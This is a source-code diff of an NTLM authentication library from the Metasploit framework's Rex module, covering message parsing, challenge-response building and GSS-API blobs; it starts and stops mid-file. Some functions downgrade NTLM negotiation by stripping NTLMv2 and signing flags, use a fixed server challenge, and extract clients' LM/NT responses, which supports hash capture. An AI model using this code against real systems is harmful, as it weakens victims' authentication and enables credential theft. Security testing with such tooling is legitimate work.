||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,533 @@
|
|||
#
|
||||
# An NTLM Authentication Library for Ruby
|
||||
#
|
||||
# This code is a derivative of "dbf2.rb" written by yrock
|
||||
# and Minero Aoki. You can find original code here:
|
||||
# http://jp.rubyist.net/magazine/?0013-CodeReview
|
||||
# -------------------------------------------------------------
|
||||
# Copyright (c) 2005,2006 yrock
|
||||
#
|
||||
# This program is free software.
|
||||
# You can distribute/modify this program under the terms of the
|
||||
# Ruby License.
|
||||
#
|
||||
# 2011-02-23 refactored by Alexandre Maloteaux for Metasploit Project
|
||||
# -------------------------------------------------------------
|
||||
#
|
||||
# 2006-02-11 refactored by Minero Aoki
|
||||
# -------------------------------------------------------------
|
||||
#
|
||||
# All protocol information used to write this code stems from
|
||||
# "The NTLM Authentication Protocol" by Eric Glass. The author
|
||||
# would thank to him for this tremendous work and making it
|
||||
# available on the net.
|
||||
# http://davenport.sourceforge.net/ntlm.html
|
||||
# -------------------------------------------------------------
|
||||
# Copyright (c) 2003 Eric Glass
|
||||
#
|
||||
# Permission to use, copy, modify, and distribute this document
|
||||
# for any purpose and without any fee is hereby granted,
|
||||
# provided that the above copyright notice and this list of
|
||||
# conditions appear in all copies.
|
||||
# -------------------------------------------------------------
|
||||
#
|
||||
# The author also looked Mozilla-Firefox-1.0.7 source code,
|
||||
# namely, security/manager/ssl/src/nsNTLMAuthModule.cpp and
|
||||
# Jonathan Bastien-Filiatrault's libntlm-ruby.
|
||||
# "http://x2a.org/websvn/filedetails.php?
|
||||
# repname=libntlm-ruby&path=%2Ftrunk%2Fntlm.rb&sc=1"
|
||||
# The latter has a minor bug in its separate_keys function.
|
||||
# The third key has to begin from the 14th character of the
|
||||
# input string instead of 13th:)
|
||||
#--
|
||||
# $Id: ntlm.rb 11678 2011-01-30 19:26:35Z hdm $
|
||||
#++
|
||||
|
||||
#this module defines the message class , useful for easily handling type 1/2/3 ntlm messages
|
||||
|
||||
require 'rex/proto/ntlm/base'
|
||||
require 'rex/proto/ntlm/constants'
|
||||
require 'rex/proto/ntlm/crypt'
|
||||
|
||||
|
||||
module Rex
|
||||
module Proto
|
||||
module NTLM
|
||||
class Message < Rex::Proto::NTLM::Base::FieldSet
|
||||
|
||||
BASE = Rex::Proto::NTLM::Base
|
||||
CONST = Rex::Proto::NTLM::Constants
|
||||
|
||||
|
||||
class << Message
|
||||
def parse(str)
|
||||
m = Type0.new
|
||||
m.parse(str)
|
||||
case m.type
|
||||
when 1
|
||||
t = Type1.parse(str)
|
||||
when 2
|
||||
t = Type2.parse(str)
|
||||
when 3
|
||||
t = Type3.parse(str)
|
||||
else
|
||||
raise ArgumentError, "unknown type: #{m.type}"
|
||||
end
|
||||
t
|
||||
end
|
||||
|
||||
def decode64(str)
|
||||
parse(Rex::Text::decode_base64(str))
|
||||
end
|
||||
end#self
|
||||
|
||||
def has_flag?(flag)
|
||||
(self[:flag].value & CONST::FLAGS[flag]) == CONST::FLAGS[flag]
|
||||
end
|
||||
|
||||
def set_flag(flag)
|
||||
self[:flag].value |= CONST::FLAGS[flag]
|
||||
end
|
||||
|
||||
def dump_flags
|
||||
CONST::FLAG_KEYS.each{ |k| print(k, "=", flag?(k), "\n") }
|
||||
end
|
||||
|
||||
def serialize
|
||||
deflag
|
||||
super + security_buffers.map{|n, f| f.value}.join
|
||||
end
|
||||
|
||||
def encode64
|
||||
Rex::Text::encode_base64(serialize)
|
||||
end
|
||||
|
||||
def decode64(str)
|
||||
parse(Rex::Text::decode_base64(str))
|
||||
end
|
||||
|
||||
alias head_size size
|
||||
|
||||
def data_size
|
||||
security_buffers.inject(0){|sum, a| sum += a[1].data_size}
|
||||
end
|
||||
|
||||
def size
|
||||
head_size + data_size
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
def security_buffers
|
||||
@alist.find_all{|n, f| f.instance_of?(BASE::SecurityBuffer)}
|
||||
end
|
||||
|
||||
def deflag
|
||||
security_buffers.inject(head_size){|cur, a|
|
||||
a[1].offset = cur
|
||||
cur += a[1].data_size
|
||||
}
|
||||
end
|
||||
|
||||
def data_edge
|
||||
security_buffers.map{ |n, f| f.active ? f.offset : size}.min
|
||||
end
|
||||
|
||||
# sub class definitions
|
||||
|
||||
Type0 = Message.define {
|
||||
string :sign, {:size => 8, :value => CONST::SSP_SIGN}
|
||||
int32LE :type, {:value => 0}
|
||||
}
|
||||
|
||||
Type1 = Message.define {
|
||||
string :sign, {:size => 8, :value => CONST::SSP_SIGN}
|
||||
int32LE :type, {:value => 1}
|
||||
int32LE :flag, {:value => CONST::DEFAULT_FLAGS[:TYPE1] }
|
||||
security_buffer :domain, {:value => "", :active => false}
|
||||
security_buffer :workstation, {:value => "", :active => false}
|
||||
string :padding, {:size => 0, :value => "", :active => false }
|
||||
}
|
||||
|
||||
class Type1
|
||||
class << Type1
|
||||
def parse(str)
|
||||
t = new
|
||||
t.parse(str)
|
||||
t
|
||||
end
|
||||
end
|
||||
|
||||
def parse(str)
|
||||
super(str)
|
||||
enable(:domain) if has_flag?(:DOMAIN_SUPPLIED)
|
||||
enable(:workstation) if has_flag?(:WORKSTATION_SUPPLIED)
|
||||
super(str)
|
||||
if ( (len = data_edge - head_size) > 0)
|
||||
self.padding = "\0" * len
|
||||
super(str)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
Type2 = Message.define{
|
||||
string :sign, {:size => 8, :value => CONST::SSP_SIGN}
|
||||
int32LE :type, {:value => 2}
|
||||
security_buffer :target_name, {:size => 0, :value => ""}
|
||||
int32LE :flag, {:value => CONST::DEFAULT_FLAGS[:TYPE2]}
|
||||
int64LE :challenge, {:value => 0}
|
||||
int64LE :context, {:value => 0, :active => false}
|
||||
security_buffer :target_info, {:value => "", :active => false}
|
||||
string :padding, {:size => 0, :value => "", :active => false }
|
||||
}
|
||||
|
||||
class Type2
|
||||
class << Type2
|
||||
def parse(str)
|
||||
t = new
|
||||
t.parse(str)
|
||||
t
|
||||
end
|
||||
end
|
||||
|
||||
def parse(str)
|
||||
super(str)
|
||||
if has_flag?(:TARGET_INFO)
|
||||
enable(:context)
|
||||
enable(:target_info)
|
||||
super(str)
|
||||
end
|
||||
if ( (len = data_edge - head_size) > 0)
|
||||
self.padding = "\0" * len
|
||||
super(str)
|
||||
end
|
||||
end
|
||||
|
||||
def response(arg, opt = {})
|
||||
usr = arg[:user]
|
||||
pwd = arg[:password]
|
||||
if usr.nil? or pwd.nil?
|
||||
raise ArgumentError, "user and password have to be supplied"
|
||||
end
|
||||
|
||||
if opt[:workstation]
|
||||
ws = opt[:workstation]
|
||||
else
|
||||
ws = ""
|
||||
end
|
||||
|
||||
if opt[:client_challenge]
|
||||
cc = opt[:client_challenge]
|
||||
else
|
||||
cc = rand(CONST::MAX64)
|
||||
end
|
||||
cc = Rex::Text::pack_int64le(cc) if cc.is_a?(Integer)
|
||||
opt[:client_challenge] = cc
|
||||
|
||||
if has_flag?(:OEM) and opt[:unicode]
|
||||
usr = Rex::Text::to_ascii(usr,'utf-16le')
|
||||
pwd = Rex::Text::to_ascii(pwd,'utf-16le')
|
||||
ws = Rex::Text::to_ascii(ws,'utf-16le')
|
||||
opt[:unicode] = false
|
||||
end
|
||||
|
||||
if has_flag?(:UNICODE) and !opt[:unicode]
|
||||
usr = Rex::Text::to_unicode(usr,'utf-16le')
|
||||
pwd = Rex::Text::to_unicode(pwd,'utf-16le')
|
||||
ws = Rex::Text::to_unicode(ws,'utf-16le')
|
||||
opt[:unicode] = true
|
||||
end
|
||||
|
||||
tgt = self.target_name
|
||||
ti = self.target_info
|
||||
|
||||
chal = self[:challenge].serialize
|
||||
|
||||
if opt[:ntlmv2]
|
||||
ar = { :ntlmv2_hash => NTLM::ntlmv2_hash(usr, pwd, tgt, opt),
|
||||
:challenge => chal, :target_info => ti}
|
||||
lm_res = NTLM::lmv2_response(ar, opt)
|
||||
ntlm_res = NTLM::ntlmv2_response(ar, opt)
|
||||
elsif has_flag?(:NTLM2_KEY)
|
||||
ar = {:ntlm_hash => NTLM::ntlm_hash(pwd, opt), :challenge => chal}
|
||||
lm_res, ntlm_res = NTLM::ntlm2_session(ar, opt)
|
||||
else
|
||||
lm_res = NTLM::lm_response(pwd, chal)
|
||||
ntlm_res = NTLM::ntlm_response(pwd, chal)
|
||||
end
|
||||
|
||||
Type3.create({
|
||||
:lm_response => lm_res,
|
||||
:ntlm_response => ntlm_res,
|
||||
:domain => tgt,
|
||||
:user => usr,
|
||||
:workstation => ws,
|
||||
:flag => self.flag
|
||||
})
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
Type3 = Message.define{
|
||||
string :sign, {:size => 8, :value => CONST::SSP_SIGN}
|
||||
int32LE :type, {:value => 3}
|
||||
security_buffer :lm_response, {:value => ""}
|
||||
security_buffer :ntlm_response, {:value => ""}
|
||||
security_buffer :domain, {:value => ""}
|
||||
security_buffer :user, {:value => ""}
|
||||
security_buffer :workstation, {:value => ""}
|
||||
security_buffer :session_key, {:value => "", :active => false }
|
||||
int64LE :flag, {:value => 0, :active => false }
|
||||
}
|
||||
|
||||
class Type3
|
||||
class << Type3
|
||||
def parse(str)
|
||||
t = new
|
||||
t.parse(str)
|
||||
t
|
||||
end
|
||||
|
||||
def create(arg, opt ={})
|
||||
t = new
|
||||
t.lm_response = arg[:lm_response]
|
||||
t.ntlm_response = arg[:ntlm_response]
|
||||
t.domain = arg[:domain]
|
||||
t.user = arg[:user]
|
||||
t.workstation = arg[:workstation]
|
||||
|
||||
if arg[:session_key]
|
||||
t.enable(:session_key)
|
||||
t.session_key = arg[session_key]
|
||||
end
|
||||
if arg[:flag]
|
||||
t.enable(:session_key)
|
||||
t.enable(:flag)
|
||||
t.flag = arg[:flag]
|
||||
end
|
||||
t
|
||||
end
|
||||
end#self
|
||||
end
|
||||
|
||||
public
|
||||
#those class method have been merged from lib/rex/smb/utils
|
||||
|
||||
#
|
||||
# Process Type 3 NTLM Message (in Base64)
|
||||
#
|
||||
# from http://www.innovation.ch/personal/ronald/ntlm.html
|
||||
#
|
||||
# struct {
|
||||
# byte protocol[8]; // 'N', 'T', 'L', 'M', 'S', 'S', 'P', '\0'
|
||||
# byte type; // 0x03
|
||||
# byte zero[3];
|
||||
#
|
||||
# short lm_resp_len; // LanManager response length (always 0x18)
|
||||
# short lm_resp_len; // LanManager response length (always 0x18)
|
||||
# short lm_resp_off; // LanManager response offset
|
||||
# byte zero[2];
|
||||
#
|
||||
# short nt_resp_len; // NT response length (always 0x18)
|
||||
# short nt_resp_len; // NT response length (always 0x18)
|
||||
# short nt_resp_off; // NT response offset
|
||||
# byte zero[2];
|
||||
#
|
||||
# short dom_len; // domain string length
|
||||
# short dom_len; // domain string length
|
||||
# short dom_off; // domain string offset (always 0x40)
|
||||
# byte zero[2];
|
||||
#
|
||||
# short user_len; // username string length
|
||||
# short user_len; // username string length
|
||||
# short user_off; // username string offset
|
||||
# byte zero[2];
|
||||
#
|
||||
# short host_len; // host string length
|
||||
# short host_len; // host string length
|
||||
# short host_off; // host string offset
|
||||
# byte zero[6];
|
||||
#
|
||||
# short msg_len; // message length
|
||||
# byte zero[2];
|
||||
#
|
||||
# short flags; // 0x8201
|
||||
# byte zero[2];
|
||||
#
|
||||
# byte dom[*]; // domain string (unicode UTF-16LE)
|
||||
# byte user[*]; // username string (unicode UTF-16LE)
|
||||
# byte host[*]; // host string (unicode UTF-16LE)
|
||||
# byte lm_resp[*]; // LanManager response
|
||||
# byte nt_resp[*]; // NT response
|
||||
# } type_3_message
|
||||
#
|
||||
def self.process_type3_message(message)
|
||||
decode = Rex::Text.decode_base64(message.strip)
|
||||
type = decode[8,1].unpack("C").first
|
||||
if (type == 3)
|
||||
lm_len = decode[12,2].unpack("v").first
|
||||
lm_offset = decode[16,2].unpack("v").first
|
||||
lm = decode[lm_offset, lm_len].unpack("H*").first
|
||||
|
||||
nt_len = decode[20,2].unpack("v").first
|
||||
nt_offset = decode[24,2].unpack("v").first
|
||||
nt = decode[nt_offset, nt_len].unpack("H*").first
|
||||
|
||||
dom_len = decode[28,2].unpack("v").first
|
||||
dom_offset = decode[32,2].unpack("v").first
|
||||
domain = decode[dom_offset, dom_len]
|
||||
|
||||
user_len = decode[36,2].unpack("v").first
|
||||
user_offset = decode[40,2].unpack("v").first
|
||||
user = decode[user_offset, user_len]
|
||||
|
||||
host_len = decode[44,2].unpack("v").first
|
||||
host_offset = decode[48,2].unpack("v").first
|
||||
host = decode[host_offset, host_len]
|
||||
|
||||
return domain, user, host, lm, nt
|
||||
else
|
||||
return "", "", "", "", ""
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
|
||||
#
|
||||
# Process Type 1 NTLM Messages, return a Base64 Type 2 Message
|
||||
#
|
||||
def self.process_type1_message(message, nonce = "\x11\x22\x33\x44\x55\x66\x77\x88", win_domain = 'DOMAIN',
|
||||
win_name = 'SERVER', dns_name = 'server', dns_domain = 'example.com', downgrade = true)
|
||||
|
||||
dns_name = Rex::Text.to_unicode(dns_name + "." + dns_domain)
|
||||
win_domain = Rex::Text.to_unicode(win_domain)
|
||||
dns_domain = Rex::Text.to_unicode(dns_domain)
|
||||
win_name = Rex::Text.to_unicode(win_name)
|
||||
decode = Rex::Text.decode_base64(message.strip)
|
||||
|
||||
type = decode[8,1].unpack("C").first
|
||||
|
||||
if (type == 1)
|
||||
# A type 1 message has been received, lets build a type 2 message response
|
||||
|
||||
reqflags = decode[12,4]
|
||||
reqflags = reqflags.unpack("V").first
|
||||
|
||||
if (reqflags & CONST::REQUEST_TARGET) == CONST::REQUEST_TARGET
|
||||
|
||||
if (downgrade)
|
||||
# At this time NTLMv2 and signing requirements are not supported
|
||||
if (reqflags & CONST::NEGOTIATE_NTLM2_KEY) == CONST::NEGOTIATE_NTLM2_KEY
|
||||
reqflags = reqflags - CONST::NEGOTIATE_NTLM2_KEY
|
||||
end
|
||||
if (reqflags & CONST::NEGOTIATE_ALWAYS_SIGN) == CONST::NEGOTIATE_ALWAYS_SIGN
|
||||
reqflags = reqflags - CONST::NEGOTIATE_ALWAYS_SIGN
|
||||
end
|
||||
end
|
||||
|
||||
flags = reqflags + CONST::TARGET_TYPE_DOMAIN + CONST::TARGET_TYPE_SERVER
|
||||
tid = true
|
||||
|
||||
tidoffset = 48 + win_domain.length
|
||||
tidbuff =
|
||||
[2].pack('v') + # tid type, win domain
|
||||
[win_domain.length].pack('v') +
|
||||
win_domain +
|
||||
[1].pack('v') + # tid type, server name
|
||||
[win_name.length].pack('v') +
|
||||
win_name +
|
||||
[4].pack('v') + # tid type, domain name
|
||||
[dns_domain.length].pack('v') +
|
||||
dns_domain +
|
||||
[3].pack('v') + # tid type, dns_name
|
||||
[dns_name.length].pack('v') +
|
||||
dns_name
|
||||
else
|
||||
flags = CONST::NEGOTIATE_UNICODE + CONST::NEGOTIATE_NTLM
|
||||
tid = false
|
||||
end
|
||||
|
||||
type2msg = "NTLMSSP\0" + # protocol, 8 bytes
|
||||
"\x02\x00\x00\x00" # type, 4 bytes
|
||||
|
||||
if (tid)
|
||||
type2msg += # Target security info, 8 bytes. Filled if REQUEST_TARGET
|
||||
[win_domain.length].pack('v') + # Length, 2 bytes
|
||||
[win_domain.length].pack('v') # Allocated space, 2 bytes
|
||||
end
|
||||
|
||||
type2msg +="\x30\x00\x00\x00" + # Offset, 4 bytes
|
||||
[flags].pack('V') + # flags, 4 bytes
|
||||
nonce + # the nonce, 8 bytes
|
||||
"\x00" * 8 # Context (all 0s), 8 bytes
|
||||
|
||||
if (tid)
|
||||
type2msg += # Target information security buffer. Filled if REQUEST_TARGET
|
||||
[tidbuff.length].pack('v') + # Length, 2 bytes
|
||||
[tidbuff.length].pack('v') + # Allocated space, 2 bytes
|
||||
[tidoffset].pack('V') + # Offset, 4 bytes (usually \x48 + length of win_domain)
|
||||
win_domain + # Target name data (domain in unicode if REQUEST_UNICODE)
|
||||
# Target information data
|
||||
tidbuff + # Type, 2 bytes
|
||||
# Length, 2 bytes
|
||||
# Data (in unicode if REQUEST_UNICODE)
|
||||
"\x00\x00\x00\x00" # Terminator, 4 bytes, all \x00
|
||||
end
|
||||
|
||||
type2msg = Rex::Text.encode_base64(type2msg).delete("\n") # base64 encode and remove the returns
|
||||
else
|
||||
# This is not a Type2 message
|
||||
type2msg = ""
|
||||
end
|
||||
|
||||
return type2msg
|
||||
end
|
||||
|
||||
#
|
||||
# Downgrading Type messages to LMv1/NTLMv1 and removing signing
|
||||
#
|
||||
def self.downgrade_type_message(message)
|
||||
decode = Rex::Text.decode_base64(message.strip)
|
||||
|
||||
type = decode[8,1].unpack("C").first
|
||||
|
||||
if (type > 0 and type < 4)
|
||||
reqflags = decode[12..15] if (type == 1 or type == 3)
|
||||
reqflags = decode[20..23] if (type == 2)
|
||||
reqflags = reqflags.unpack("V")
|
||||
|
||||
# Remove NEGOTIATE_NTLMV2_KEY and NEGOTIATE_ALWAYS_SIGN, this lowers the negotiation
|
||||
# down to LMv1/NTLMv1.
|
||||
if (reqflags & CONST::NEGOTIATE_NTLM2_KEY) == CONST::NEGOTIATE_NTLM2_KEY
|
||||
reqflags = reqflags - CONST::NEGOTIATE_NTLM2_KEY
|
||||
end
|
||||
if (reqflags & CONST::NEGOTIATE_ALWAYS_SIGN) == CONST::NEGOTIATE_ALWAYS_SIGN
|
||||
reqflags = reqflags - CONST::NEGOTIATE_ALWAYS_SIGN
|
||||
end
|
||||
|
||||
# Return the flags back to the decode so we can base64 it again
|
||||
flags = reqflags.to_s(16)
|
||||
0.upto(8) do |idx|
|
||||
if (idx > flags.length)
|
||||
flags.insert(0, "0")
|
||||
end
|
||||
end
|
||||
|
||||
idx = 0
|
||||
0.upto(3) do |cnt|
|
||||
if (type == 2)
|
||||
decode[23-cnt] = [flags[idx,1]].pack("C")
|
||||
else
|
||||
decode[15-cnt] = [flags[idx,1]].pack("C")
|
||||
end
|
||||
idx += 2
|
||||
end
|
||||
|
||||
end
|
||||
return Rex::Text.encode_base64(decode).delete("\n") # base64 encode and remove the returns
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -0,0 +1,358 @@
|
|||
module Rex
|
||||
module Proto
|
||||
module NTLM
|
||||
class Utils
|
||||
|
||||
#duplicate from lib/rex/proto/smb/utils cause we only need this fonction from Rex::Proto::SMB::Utils
|
||||
# Convert a unix timestamp to a 64-bit signed server time
|
||||
def self.time_unix_to_smb(unix_time)
|
||||
t64 = (unix_time + 11644473600) * 10000000
|
||||
thi = (t64 & 0xffffffff00000000) >> 32
|
||||
tlo = (t64 & 0x00000000ffffffff)
|
||||
return [thi, tlo]
|
||||
end
|
||||
|
||||
#
|
||||
# Prepends an ASN1 formatted length field to a piece of data
|
||||
#
|
||||
def self.asn1encode(str = '')
|
||||
res = ''
|
||||
|
||||
# If the high bit of the first byte is 1, it contains the number of
|
||||
# length bytes that follow
|
||||
|
||||
case str.length
|
||||
when 0 .. 0x7F
|
||||
res = [str.length].pack('C') + str
|
||||
when 0x80 .. 0xFF
|
||||
res = [0x81, str.length].pack('CC') + str
|
||||
when 0x100 .. 0xFFFF
|
||||
res = [0x82, str.length].pack('Cn') + str
|
||||
when 0x10000 .. 0xffffff
|
||||
res = [0x83, str.length >> 16, str.length & 0xFFFF].pack('CCn') + str
|
||||
when 0x1000000 .. 0xffffffff
|
||||
res = [0x84, str.length].pack('CN') + str
|
||||
else
|
||||
raise "ASN1 str too long"
|
||||
end
|
||||
return res
|
||||
end
|
||||
|
||||
#GSS functions
|
||||
|
||||
#GSS BLOB usefull for SMB_NEGOCIATE_RESPONSE message
|
||||
#mechTypes: 2 items :
|
||||
# -MechType: 1.3.6.1.4.1.311.2.2.30 (SNMPv2-SMI::enterprises.311.2.2.30)
|
||||
# -MechType: 1.3.6.1.4.1.311.2.2.10 (NTLMSSP - Microsoft NTLM Security Support Provider)
|
||||
#
|
||||
#this is the default on Win7
|
||||
def self.make_simple_negotiate_secblob_resp
|
||||
blob =
|
||||
"\x60" + self.asn1encode(
|
||||
"\x06" + self.asn1encode(
|
||||
"\x2b\x06\x01\x05\x05\x02"
|
||||
) +
|
||||
"\xa0" + self.asn1encode(
|
||||
"\x30" + self.asn1encode(
|
||||
"\xa0" + self.asn1encode(
|
||||
"\x30" + self.asn1encode(
|
||||
"\x06" + self.asn1encode(
|
||||
"\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
|
||||
return blob
|
||||
end
|
||||
|
||||
#GSS BLOB usefull for SMB_NEGOCIATE_RESPONSE message
|
||||
#mechTypes: 4 items :
|
||||
# MechType: 1.2.840.48018.1.2.2 (MS KRB5 - Microsoft Kerberos 5)
|
||||
# MechType: 1.2.840.113554.1.2.2 (KRB5 - Kerberos 5)
|
||||
# MechType: 1.2.840.113554.1.2.2.3 (KRB5 - Kerberos 5 - User to User)
|
||||
# MechType: 1.3.6.1.4.1.311.2.2.10 (NTLMSSP - Microsoft NTLM Security Support Provider)
|
||||
#mechListMIC:
|
||||
# principal: account@domain
|
||||
def self.make_negotiate_secblob_resp(account, domain)
|
||||
blob =
|
||||
"\x60" + self.asn1encode(
|
||||
"\x06" + self.asn1encode(
|
||||
"\x2b\x06\x01\x05\x05\x02"
|
||||
) +
|
||||
"\xa0" + self.asn1encode(
|
||||
"\x30" + self.asn1encode(
|
||||
"\xa0" + self.asn1encode(
|
||||
"\x30" + self.asn1encode(
|
||||
"\x06" + self.asn1encode(
|
||||
"\x2a\x86\x48\x82\xf7\x12\x01\x02\x02"
|
||||
) +
|
||||
"\x06" + self.asn1encode(
|
||||
"\x2a\x86\x48\x86\xf7\x12\x01\x02\x02"
|
||||
) +
|
||||
"\x06" + self.asn1encode(
|
||||
"\x2a\x86\x48\x86\xf7\x12\x01\x02\x02\x03"
|
||||
) +
|
||||
"\x06" + self.asn1encode(
|
||||
"\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"
|
||||
)
|
||||
)
|
||||
) +
|
||||
"\xa3" + self.asn1encode(
|
||||
"\x30" + self.asn1encode(
|
||||
"\xa0" + self.asn1encode(
|
||||
"\x1b" + self.asn1encode(
|
||||
account + '@' + domain
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
|
||||
return blob
|
||||
end
|
||||
|
||||
|
||||
#GSS BLOB usefull for ntlmssp type 1 message
|
||||
def self.make_ntlmssp_secblob_init(domain = 'WORKGROUP', name = 'WORKSTATION', flags=0x80201)
|
||||
blob =
|
||||
"\x60" + self.asn1encode(
|
||||
"\x06" + self.asn1encode(
|
||||
"\x2b\x06\x01\x05\x05\x02"
|
||||
) +
|
||||
"\xa0" + self.asn1encode(
|
||||
"\x30" + self.asn1encode(
|
||||
"\xa0" + self.asn1encode(
|
||||
"\x30" + self.asn1encode(
|
||||
"\x06" + self.asn1encode(
|
||||
"\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"
|
||||
)
|
||||
)
|
||||
) +
|
||||
"\xa2" + self.asn1encode(
|
||||
"\x04" + self.asn1encode(
|
||||
"NTLMSSP\x00" +
|
||||
[1, flags].pack('VV') +
|
||||
|
||||
[
|
||||
domain.length, #length
|
||||
domain.length, #max length
|
||||
32
|
||||
].pack('vvV') +
|
||||
|
||||
[
|
||||
name.length, #length
|
||||
name.length, #max length
|
||||
domain.length + 32
|
||||
].pack('vvV') +
|
||||
|
||||
domain + name
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
|
||||
return blob
|
||||
end
|
||||
|
||||
|
||||
#GSS BLOB usefull for ntlmssp type 2 message
|
||||
def self.make_ntlmssp_secblob_chall(win_domain, win_name, dns_domain, dns_name, chall, flags)
|
||||
|
||||
blob =
|
||||
"\xa1" + self.asn1encode(
|
||||
"\x30" + self.asn1encode(
|
||||
"\xa0" + self.asn1encode(
|
||||
"\x0a" + self.asn1encode(
|
||||
"\x01"
|
||||
)
|
||||
) +
|
||||
"\xa1" + self.asn1encode(
|
||||
"\x06" + self.asn1encode(
|
||||
"\x2b\x06\x01\x04\x01\x82\x37\x02\x02\x0a"
|
||||
)
|
||||
) +
|
||||
"\xa2" + self.asn1encode(
|
||||
"\x04" + self.asn1encode(
|
||||
make_ntlmssp_blob_chall(win_domain, win_name, dns_domain, dns_name, chall, flags)
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
|
||||
return blob
|
||||
end
|
||||
|
||||
#BLOB without GSS usefull for ntlm type 2 message
|
||||
def self.make_ntlmssp_blob_chall(win_domain, win_name, dns_domain, dns_name, chall, flags)
|
||||
|
||||
addr_list = ''
|
||||
addr_list << [2, win_domain.length].pack('vv') + win_domain
|
||||
addr_list << [1, win_name.length].pack('vv') + win_name
|
||||
addr_list << [4, dns_domain.length].pack('vv') + dns_domain
|
||||
addr_list << [3, dns_name.length].pack('vv') + dns_name
|
||||
addr_list << [0, 0].pack('vv')
|
||||
|
||||
ptr = 0
|
||||
blob = "NTLMSSP\x00" +
|
||||
[2].pack('V') +
|
||||
[
|
||||
win_domain.length, # length
|
||||
win_domain.length, # max length
|
||||
(ptr += 48) # offset
|
||||
].pack('vvV') +
|
||||
[ flags ].pack('V') +
|
||||
chall +
|
||||
"\x00\x00\x00\x00\x00\x00\x00\x00" +
|
||||
[
|
||||
addr_list.length, # length
|
||||
addr_list.length, # max length
|
||||
(ptr += win_domain.length)
|
||||
].pack('vvV') +
|
||||
win_domain +
|
||||
addr_list
|
||||
return blob
|
||||
end
|
||||
|
||||
|
||||
#GSS BLOB Usefull for ntlmssp type 3 message
|
||||
def self.make_ntlmssp_secblob_auth(domain, name, user, lm, ntlm, enc_session_key, flags = 0x080201)
|
||||
|
||||
lm ||= "\x00" * 24
|
||||
ntlm ||= "\x00" * 24
|
||||
|
||||
domain_uni = Rex::Text.to_unicode(domain)
|
||||
user_uni = Rex::Text.to_unicode(user)
|
||||
name_uni = Rex::Text.to_unicode(name)
|
||||
session = enc_session_key
|
||||
|
||||
ptr = 64
|
||||
blob =
|
||||
"\xa1" + self.asn1encode(
|
||||
"\x30" + self.asn1encode(
|
||||
"\xa2" + self.asn1encode(
|
||||
"\x04" + self.asn1encode(
|
||||
|
||||
"NTLMSSP\x00" +
|
||||
[ 3 ].pack('V') +
|
||||
|
||||
[ # Lan Manager Response
|
||||
lm.length,
|
||||
lm.length,
|
||||
(ptr)
|
||||
].pack('vvV') +
|
||||
|
||||
[ # NTLM Manager Response
|
||||
ntlm.length,
|
||||
ntlm.length,
|
||||
(ptr += lm.length)
|
||||
].pack('vvV') +
|
||||
|
||||
[ # Domain Name
|
||||
domain_uni.length,
|
||||
domain_uni.length,
|
||||
(ptr += ntlm.length)
|
||||
].pack('vvV') +
|
||||
|
||||
[ # Username
|
||||
user_uni.length,
|
||||
user_uni.length,
|
||||
(ptr += domain_uni.length)
|
||||
].pack('vvV') +
|
||||
|
||||
[ # Hostname
|
||||
name_uni.length,
|
||||
name_uni.length,
|
||||
(ptr += user_uni.length)
|
||||
].pack('vvV') +
|
||||
|
||||
[ # Session Key (none)
|
||||
session.length,
|
||||
session.length,
|
||||
(ptr += name_uni.length)
|
||||
].pack('vvV') +
|
||||
|
||||
[ flags ].pack('V') +
|
||||
|
||||
lm +
|
||||
ntlm +
|
||||
domain_uni +
|
||||
user_uni +
|
||||
name_uni +
|
||||
session + "\x00"
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
return blob
|
||||
end
|
||||
|
||||
|
||||
# GSS BLOB Usefull for SMB Success
|
||||
def self.make_ntlmv2_secblob_success
|
||||
blob =
|
||||
"\xa1" + self.asn1encode(
|
||||
"\x30" + self.asn1encode(
|
||||
"\xa0" + self.asn1encode(
|
||||
"\x0a" + self.asn1encode(
|
||||
"\x00"
|
||||
)
|
||||
)
|
||||
)
|
||||
)
|
||||
return blob
|
||||
end
|
||||
|
||||
#others
|
||||
|
||||
#this function return an ntlmv2 client challenge
|
||||
def self.make_ntlmv2_clientchallenge(win_domain, win_name, dns_domain, dns_name, client_challenge = nil, chall_MsvAvTimestamp = nil)
|
||||
|
||||
client_challenge ||= Rex::Text.rand_text(8)
|
||||
#we have to set the timestamps here to the one in the challenge message from server if present
|
||||
#if we don't do that, recent server like seven will send a STATUS_INVALID_PARAMETER error packet
|
||||
timestamp = chall_MsvAvTimestamp != nil ? chall_MsvAvTimestamp : self.time_unix_to_smb(Time.now.to_i).reverse.pack("VV")
|
||||
#make those values unicode as requested
|
||||
win_domain = Rex::Text.to_unicode(win_domain)
|
||||
win_name = Rex::Text.to_unicode(win_name)
|
||||
dns_domain = Rex::Text.to_unicode(dns_domain)
|
||||
dns_name = Rex::Text.to_unicode(dns_name)
|
||||
#make the AV_PAIRs
|
||||
addr_list = ''
|
||||
addr_list << [2, win_domain.length].pack('vv') + win_domain
|
||||
addr_list << [1, win_name.length].pack('vv') + win_name
|
||||
addr_list << [4, dns_domain.length].pack('vv') + dns_domain
|
||||
addr_list << [3, dns_name.length].pack('vv') + dns_name
|
||||
addr_list << [7, 8].pack('vv') + timestamp
|
||||
|
||||
#MAY BE USEFUL FOR FUTURE
|
||||
#seven (client) add at least one more av that is of type MsAvRestrictions (8)
|
||||
#maybe this will be usefull with future windows OSs but has no use at all for the moment afaik
|
||||
#restriction_encoding = [48,0,0,0].pack("VVV") + # Size, Z4, IntegrityLevel, SubjectIntegrityLevel
|
||||
# Rex::Text.rand_text(32) # MachineId generated on startup on win7 and above
|
||||
#addr_list << [8, restriction_encoding.length].pack('vv') + restriction_encoding
|
||||
#seven (client) and maybe others versions also add an av of type MsvChannelBindings (10) but the hash is "\x00" * 16
|
